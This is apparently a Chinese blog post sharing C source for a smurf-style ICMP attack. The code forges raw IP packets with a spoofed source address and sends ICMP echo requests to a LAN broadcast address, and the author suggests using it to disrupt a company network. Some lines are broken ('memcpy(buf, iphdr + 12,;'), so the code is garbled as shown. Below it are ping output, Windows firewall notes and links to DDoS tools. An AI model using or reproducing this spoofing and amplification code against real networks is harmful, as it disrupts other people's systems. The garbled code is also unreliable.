`
malixxx
  • 浏览: 97778 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

简单的icmp攻击

阅读更多
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

修改了一些,加添了广播,可发给255,我感觉会把局域网弄乱的  呵呵.

#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <stdlib.h>
#include<netinet/in.h>

unsigned short csum(unsigned short *packet, int packlen);
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen);
unsigned short in_cksum(unsigned short *addr, int len);

//校验和涵数 ip头
unsigned short csum(unsigned short *packet, int packlen) {
    register unsigned long sum = 0;
    while (packlen > 1) {
        sum += *(packet++);
        packlen -= 2;
    }
    if (packlen > 0)
        sum += *(unsigned char *) packet;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);

    return (unsigned short) ~sum;
}

//校验和涵数 tcp头
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
    unsigned short *buf;
    unsigned short res;
    buf = malloc(packlen + 12);
    if (buf == NULL)
        return 0;
    memcpy(buf, iphdr + 12,; //源IP地址和目标IP地址
    *(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
    *(buf + 5) = htons((unsigned short) packlen);
    memcpy(buf + 6, packet, packlen);
    res = csum(buf, packlen + 12);
    free(buf);
    return res;
}

//校验和涵数icmp头
unsigned short in_cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    while (len > 1) {
        sum += *addr++;
        len -= 2;
    }
    if (len == 1) {
        *((unsigned char *) (&res)) = *((unsigned char *) addr);
        sum += res;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    res = ~sum;
    return res;
}

int main(int argc, char *argv[]) {
    int sock, bytes_send;
    struct sockaddr_in sin;



    struct ip *iphead;
    struct icmp *icmphead;
    char *packet;
    int pktsize = sizeof(struct ip) + sizeof(struct icmp) + 64;

    packet = malloc(pktsize);
    iphead = (struct ip *) packet;
    icmphead = (struct icmp *) (packet + sizeof(struct ip));

    memset(packet, 0, pktsize);

    printf("create socket\r\n");
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr("192.168.0.255"); //被攻击者的ip
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    if (sock > 0) {
        printf("socket ok\n");
    } else {
        printf("socket error \n");
    }

    //IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中,隐藏自己的IP地址
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &pktsize, sizeof(pktsize)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    const int on = 1;//设定常量,用于打开广播模式
    //设定该接口上的广播模式
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    printf("create iphead\r\n");
    iphead->ip_v = 4;
    iphead->ip_hl = 5;
    iphead->ip_tos = 0x00;
    iphead->ip_len = htons(pktsize);
    iphead->ip_id = htons(getpid());
    iphead->ip_off = 0;
    iphead->ip_ttl = 0x0;
    iphead->ip_p = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    inet_aton("192.168.0.182", &iphead->ip_src);//假冒的ip
    inet_aton("192.168.0.255", &iphead->ip_dst);//被攻击者的ip

    printf("create icmphead\r\n");
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0;
    icmphead->icmp_cksum = htons(~(ICMP_ECHO <<);

    iphead->ip_sum = csum(iphead, sizeof(struct ip));
    icmphead->icmp_cksum = in_cksum(icmphead, sizeof(struct icmp));

    printf("start send\r\n");

    int j;
    int i = 1;
    while (i > 0) {
        sendto(sock, packet, pktsize, 0, (struct sockaddr *) &sin, sizeof(sin));
        printf("sending\r\n");
        i--;
    }
    free(packet);
    printf("end send\r\n");
    return 0;
}
/*
*如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,
*如果我们往广播地址发送一个ICMP 以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,
*如果我们往广播地址发送一个ICMP 如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,
*如果我们往广播地址发送一个ICMP 会看到很多回应的的dup包,就是重复的应答
*root@test5:/home/malitest/mysocketTest# ping 192.168.0.255 -b
WARNING: pinging broadcast address
PING 192.168.0.255 (192.168.0.255) 56(84) bytes of data.
64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.262 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.13 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.17 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.183 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.200 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.242 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.163 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.178 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=3 ttl=64 time=0.198 ms (DUP!)
*
* windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包(所以我收不到重复的包了),收到第一个包以后就丢弃后面的了,
* 同样微软的系统默认也不回应广播地址的包
*
* windows防火墙 高级——>本地连接——>设置——>ICMP
* */
分享到:
评论

相关推荐

    什么是拒绝服务攻击.doc

    懂得网络的人都知道我们常用Ping命令来检查网络是否畅通的一个简单的手段,可是这个Ping也能给Windows系统带来不可预测的灾难,那就是Ping入侵即是ICMP入侵,...所以这里我们要详细讨论一下ICMP攻击方法及防范措施。

    穿盾DDos攻击流量监控器 v1.0

    软件介绍 穿盾ddos监控器是穿盾ddos科技推出的一款专门...可查看SYN、ACK、碎片、UDP、ICMP攻击的攻击频率方便站长与服务器管理员观看自己的网络状况 是否遭受DDOS攻击,让站长快速分辨网络状态及时处理ddos攻击故障

    flushwifi:一个为OSX编写的简单脚本,用于重新启动所有网络接口,清除ARP缓存和刷新路由。 还包括MAC随机化和免受ICMP重定向攻击的保护

    还增加了针对ICMP重定向攻击的保护,而OSX不会将其存储为永久设置,因此需要在每次启动时运行它: sysctl -w net.inet.icmp.drop_redirect=1需要使用Spoof-mac才能利用MAC欺骗功能。 在这里得到它: ###安装并运行...

    IGMP主机扫描 .txt

    那么我们怎么防范ICMP攻击呢,或者我不想别人知道我的电脑到底在不在上网?很简单,装个防火墙,将拒绝ICMP勾选上就可以 了。 ICMP多半用来DOS攻击,这种攻击多半基于单机,带宽小,效率低,对于被扫描者不会造成很...

    Linux网络编程–洪水攻击详解

     ICMP回显攻击,利用原始套接字发送大量回显请求或者回显响应的数据,由于此数据协议栈默认是必须处理的,因此有影响  UDP,向目标主机UDP端口发送UDP报文,由于目标机需要对端口进行处理  SYN,利用

    中国战斧抗DDoS防火墙 2011 Build 20110218

    其自主研发的独特抗攻击算法,高效的主动防御系统可有效防御DoS/DDoS、SuperDDoS、DrDoS、代理CC、变异CC、僵尸集群CC、UDPFlood、变异UDP、随机UDP、ICMP、IGMP、SYN、SYNFLOOD、ARP攻击,传奇假人攻击、论坛假人...

    云盾防火墙 Build2011.12.1.zip

    其自主研发的独特抗攻击算法,高效的主动防御系统可有效防御DoS/DDoS、SuperDDoS、DrDoS、代理CC、变异CC、僵尸集群CC、UDPFlood、变异UDP、随机UDP、ICMP、IGMP、SYN、SYNFLOOD、ARP攻击,传奇假人攻击、论坛假人...

    tfn2k.tar.gz

    对目标的攻击方法包括tcp/syn、udp、icmp/ping或broadcast  ping (smurf)数据包flood等。  ◆ 主控端与代理端之间数据包的头信息也是随机的,除了icmp总是使用  icmp_echoreply类型数据包。  ◆ 与其上...

    smurf源码smurf.c

    smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数 据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包 的源地址)崩溃。 受害者有两种:中间的设备...

    网络信息扫描实验

    综合扫描和安全评估技术的工作原理,首先是获得主机系统在网络服务、版本信息、Web应用等相关信息,然后采用模拟攻击的方法,对目标主机系统进行攻击性的安全漏洞扫描,如测试弱口令等,如果模拟攻击成功,则视为...

    网络安全知识入门.docx

    简单来说就是,保护网络不会因为恶意攻击而中断。了解了网络安全的职责,我们就可以从网络攻击的方式,网络攻击检测手段等几个方面来处理。在实际的学习中,我发现直接上手去学习效率并不是很好,因为网络安全也有很...

    网络安全知识(1).doc

    简单来说就是,保护网络不会因为恶意攻击而中 断。了解了网络安全的职责,我们就可以从网络攻击的方式,网络攻击检测手段等几个 方面来处理。在实际的学习中,我发现直接上手去学习效率并不是很好,因为网络安全 也...

    ICMPBarrage

    ICMP Barrage是用于欺骗网络地址和执行蓝芽攻击的简单工具。 什么是蓝精灵攻击? 蓝精灵攻击是DDoS攻击的一种优雅变体。这个比喻是一堆小实体(蓝精灵)通过纯粹的数字战胜了他们的敌人。 该攻击通过向大量不同的...

    园区网络安全设计.docx

    入侵防护系统 (IPS) 倾向于提供主动防护,其设计宗旨是预先对入侵活动和攻击性网络流量进行拦截,避免其造成损失,而不是简单地在恶意流量传送时或传送后才发出警报。IPS是通过直接嵌入到网络流量中实现这一功能

    H3C SecPath高端防火墙入侵检测典型配置举例

    本文简单描述了高端多核防火墙入侵检测模块的特点,包括SYN FLOOD检测、UDP FLOOD检测、ICMP FLOOD检测、扫描攻击检测、单包攻击检测、静态黑名单功能、动态黑名单功能。给出入侵检测典型的配置案例及攻击报文构造的...

    DarkShell_Linux-Win集群版V2014年

     常规模式(SYN、UDP、TCP、ACK、IGMP、ICMP、DNS、M2游戏引擎)、WEB模式(Get协议、变异CC、无限CC、分布式循环CC、循环下载)、破防模式、游戏服务器测试模式等,以及强大的自定义模式.支持16进制于ASCII码互转。...

    网络安全实验---Windows防火墙应用.docx

    防火墙同时可以保护网络免受基于路由的攻击,如IP选项中的源路由攻击和ICMP重定向中的重定向攻击。防火墙应该可以拒绝所有以上类型攻击的报文并通知防火墙管理员。 2. 防火墙可以强化网络安全策略 通过以防火墙为...

    原始套接字与数据链路访问

    TCP/IP协议族结构 IP数据报格式 原始套接字 一个简单的DOS攻击程序 Ping协议的ICMP版本 Traceroute程序 数据链路层访问技术 一个数据链路访问的例子

    华为HCNA实战培训视频教程.zip

    5 需要准备的图库,简单拓扑结构 6 拓扑中区分光、电线缆,以及现网电缆区分 7 分析拓扑中二层 三层交换机,TCP模型 8 IP地址分类 9 arp原理 10 MAC攻击 11 bat命令 12 实际分析TCP模型 13 ARP代理1 14 ARP代理2 15 ...

    {安全生产管理}网络安全07防火墙.pdf

    通常在路由器上实现 实际上是一种网络的访问控制机制 优点: 实现简单 对用户透明 一个包过滤路由器即可保护整个网络 缺点: 正确制定规则并不容易 不可能引入认证机制 包过滤防火墙只通过简单的规则控制数据流的...

Global site tag (gtag.js) - Google Analytics